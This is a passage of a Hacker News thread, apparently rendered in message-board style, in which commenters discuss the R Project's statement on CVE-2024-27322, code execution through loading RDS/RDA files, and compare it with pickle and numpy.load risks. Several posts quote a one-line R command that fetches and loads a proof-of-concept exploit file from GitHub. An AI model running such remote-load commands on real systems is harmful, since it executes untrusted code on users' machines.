Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Statement on CVE-2024-27322

blog.r-project.org

Post reply on HN
Print view View original

21–30 of 51 posts

Re: Statement on CVE-2024-27322

#21

Post by greentxt »

Twirrim wrote: post #10
rfoo wrote: post #9

Earlier quoted context omitted.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

Weird. I don't think I've ever relied on pickle for sharing data. It's too version specific. I always dump to json, or similar.

See it all the time.

Re: Statement on CVE-2024-27322

#22

Post by vitiral »

nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

Edit: apparently "load" is used to deserialize some data. Ya, this is bad, nevermind. I guess treat data stored in this format as code (effectively: don't use this format) unless it can be guaranteed safe.

I'm not an R programmer, but aren't you downloading a file from the Internet and executing it?

You could do the same thing with python/JavaScript/lua. Heck, you could do it with C - download, compile and then dynamically link.

If you want security don't download files from the internet and execute them.

Re: Statement on CVE-2024-27322

#23

Post by jojobas »

vitiral wrote: post #22
nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

Edit: apparently "load" is used to deserialize some data. Ya, this is bad, nevermind. I guess treat data stored in this format as code (effectively: don't use this format) unless it can be guaranteed safe. I'm not an R programmer, but aren't you downloading a file from the Internet and executing it? You could do the same thing with python/JavaScript/lua. Heck, you could do it with C - download, compile and then dynam…

Is it really execution be design? The docs don't suggest that:

>Description

>Reload datasets written with the function save.

Re: Statement on CVE-2024-27322

#24

Post by greentxt »

It’s going to be impossible to get the majority of r users to update r to remove this vulnerability. Not the fault of r but because so many unsophisticated users have r installed from 4 years ago, this exploit (which is not much of an exploit really) will stick around forever.

Re: Statement on CVE-2024-27322

#25

Post by armchairhacker »

I don’t know. R promises are extremely powerful. Not only can they run arbitrary code (e.g. shell commands), but they have arbitrary access over the caller environment (e.g. you can pass a lazy argument to a function that can list all variable names/values of variables in the function’s body and mutate some of them).

I also don’t know if deserializing is 100% secure even now, because it only detects whether the root value is lazy, and I’m not sure if certain value’s children can be lazy as well.

I think the larger issue is that most languages are insecure unless you go out of your way to be careful. Many package managers (including cargo) let dependencies run arbitrary build scripts. AFAIK reading a Python picklefile can invoke arbitrary code, which is arguably worse than deserializing an RDS file because in R you at least have to read the malicious deserialized value. The problem of reading untrusted data isn’t new, see log4j and SQL injections.

All input should be either a) trusted or b) handled carefully. Then it doesn’t matter the language. The problem is that’s not easy. Like in R, if `readRDS` really can still return promises, then “handling it carefully” means inspecting every nested value without reading it (this is possible in R with reflection); or more likely (as with Python’s pickling), read the data in a more constrained format.

Re: Statement on CVE-2024-27322

#26

Post by jojobas »

greentxt wrote: post #19
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

CSV is CSV. A serialized object is a serialized object. The main concern they cite, are supply chain attacks. So it’s like saying loading a package can… load a package. Supply chain attacks will always be a thing. I’m grateful for the work of the researchers in question but don’t feel this is much of a blemish when it comes to R itself being insecure.

Is there another way to load a saved dataset in R though, so that it can't execute anything?

Re: Statement on CVE-2024-27322

#27

Post by skybrian »

greentxt wrote: post #19
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

CSV is CSV. A serialized object is a serialized object. The main concern they cite, are supply chain attacks. So it’s like saying loading a package can… load a package. Supply chain attacks will always be a thing. I’m grateful for the work of the researchers in question but don’t feel this is much of a blemish when it comes to R itself being insecure.

It’s true that it’s always been that way, but there are other common but unsafe ways of doing things that people eventually stopped using. Some pressure to deprecate and migrate away from unsafe API’s seems good.

Re: Statement on CVE-2024-27322

#28

Post by nomilk »

vitiral wrote: post #22
nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

Edit: apparently "load" is used to deserialize some data. Ya, this is bad, nevermind. I guess treat data stored in this format as code (effectively: don't use this format) unless it can be guaranteed safe. I'm not an R programmer, but aren't you downloading a file from the Internet and executing it? You could do the same thing with python/JavaScript/lua. Heck, you could do it with C - download, compile and then dynam…

> aren't you downloading a file from the Internet and executing it?

Downloading, yes, executing, no, or at least not to 99% of R users’ knowledge prior to this recent occurrence.

If a malicious user tries to smuggle something into a csv or json file that isn’t possible. But when reading in an RDS it’s trivial.

I feel very uncomfortable about asking anyone to trust my code that much, even colleagues or friends, and I defnn in it ly don’t feel comfortable trusting theirs.

Their data files on the other hand are fine, I’ll gladly read their csv or json file. (would also be glad for their RDS if there’s a way to read it without also allowing for remote code execution)

Re: Statement on CVE-2024-27322

#29

Post by imurray »

rfoo wrote: post #9
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

> A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

This is correct, before version 1.16.3 (April 2019) `numpy.load` was unsafe by default, unless explicitly specifying `allow_pickle=False`. However, to be clear, that unsafe default was then fortunately changed. Loading numpy arrays with `numpy.load` should now be safe (unless there are yet-to-be-found bugs in that code).

Re: Statement on CVE-2024-27322

#30

Post by neonsunset »

lyu07282 wrote: post #17
VWWHFSfQ wrote: post #13

Earlier quoted context omitted.

> Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. There have been dozens, if not _hundreds_, of CVEs filed on issues related to pickle and RCE. Here is a small sample: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pickle

In applications using pickle on untrusted data, that's a big distinction. There are a huge number of similar java and c# object serializationg bugs as well.

There aren't in C#. Neither Newtonsoft.JSON (by default) nor System.Text.Json (at all) allow uncontrolled deserialization. Pretty much no code ever defaulted to Newtonsoft's TypeNameHandling.Auto and community has always been aware of its dangers, espcially in light of the incidents like Log4J.

And BinaryFormatter has been long ago deprecated (and now it got completely removed, in the form of a breaking change, something that pretty much never happens otherwise), and even when it was in use (more than a decade ago, popularity-wise), the use of type binding was heavily encouraged.

Post reply on HN